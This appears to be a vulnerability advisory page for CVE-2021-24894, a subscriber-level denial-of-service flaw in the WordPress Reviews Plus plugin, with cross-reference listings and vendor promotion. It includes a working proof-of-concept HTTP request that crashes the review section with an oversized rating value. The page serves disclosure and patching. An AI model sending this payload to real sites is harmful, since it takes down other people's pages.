Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2021-24894 | 23 Nov 202120:15 | – | attackerkb |
 | WordPress plugin Reviews Plus 输入验证错误漏洞 | 23 Nov 202100:00 | – | cnnvd |
 | CVE-2021-24894 | 23 Nov 202119:16 | – | cve |
 | CVE-2021-24894 Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS | 23 Nov 202119:16 | – | cvelist |
 | EUVD-2021-11806 | 7 Oct 202500:30 | – | euvd |
 | CVE-2021-24894 | 23 Nov 202120:15 | – | nvd |
 | CVE-2021-24894 | 23 Nov 202120:15 | – | osv |
 | WordPress Reviews Plus plugin <= 1.2.13 - Reviews Denial of Service (DoS) vulnerability | 25 Oct 202100:00 | – | patchstack |
 | Design/Logic Flaw | 23 Nov 202120:15 | – | prion |
 | PT-2021-16358 · WordPress · Reviews Plus | 23 Nov 202100:00 | – | ptsecurity |
10
| Source | Link |
|---|---|
| plugins | www.plugins.trac.wordpress.org/changeset/2618234 |
Enable reviews for post/pages, and enable the "Show Reviews on" setting for All posts or pages as well.
Then log in as a user such as subscriber and submit a review with a long rating, e.g
POST /wp-comments-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Connection: close
Cookie: [subscriber+]
Upgrade-Insecure-Requests: 1
comment_type=ic_rev_post&review_type=ic_rev_post&ic_review_rating=100000000000000000000000&ic_review_title=aa&comment=cerh&submit=Submit+Review&comment_post_ID=2123&comment_parent=0
The review section of the post/page will crash with an error like "Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76" when viewedData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Oct 2021 06:22Current
CVSS 24
CVSS 3.16.5
EPSS0.01433